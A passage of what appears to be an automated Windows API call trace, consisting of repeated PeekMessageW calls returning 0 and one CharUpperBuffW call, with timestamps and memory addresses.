returned 0 [0048.304] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.304] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.304] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.304] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.304] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.304] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.304] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.304] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.304] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.304] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.304] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.304] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.304] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.304] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.305] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.305] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.305] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.305] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.305] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.305] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.305] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.305] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.305] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.305] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.305] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.305] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.305] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.305] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.305] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.305] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.305] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.306] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.306] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.306] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.306] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.306] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.306] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.306] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.306] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.306] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.306] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.306] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.306] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.306] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.306] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.306] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.306] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.306] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.309] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.309] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.309] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.309] PeekMessageW (in: lpMsg=0x10f395f7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f7d0) returned 0 [0048.309] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0048.309] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.309] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.309] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.309] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.309] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.309] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.309] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.309] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.309] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.309] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.309] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.309] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.309] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.309] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.309] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.309] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.309] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.309] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.309] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.309] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.309] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.309] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.310] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.310] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.310] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.310] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.310] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.310] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.310] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.310] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.310] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.310] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.310] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.310] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.310] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.310] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.310] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.310] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.310] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.310] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.310] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.310] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.310] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.310] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.310] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.310] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.311] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.311] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.311] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.311] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.311] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.311] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.311] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.311] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.311] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.311] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.311] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.311] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.311] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.311] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.311] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.311] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.311] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.311] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.311] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.311] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.311] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.311] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.311] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.311] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.311] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.311] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.311] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.311] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.311] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.311] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.312] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.312] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.312] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.312] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.312] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.312] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.312] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.312] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.312] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.312] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.312] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.312] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.312] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.312] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.312] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.312] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.312] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.312] PeekMessageW (in: lpMsg=0x10f395f250, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x10f395f250) returned 0 [0048.312] PeekMessageW (in: 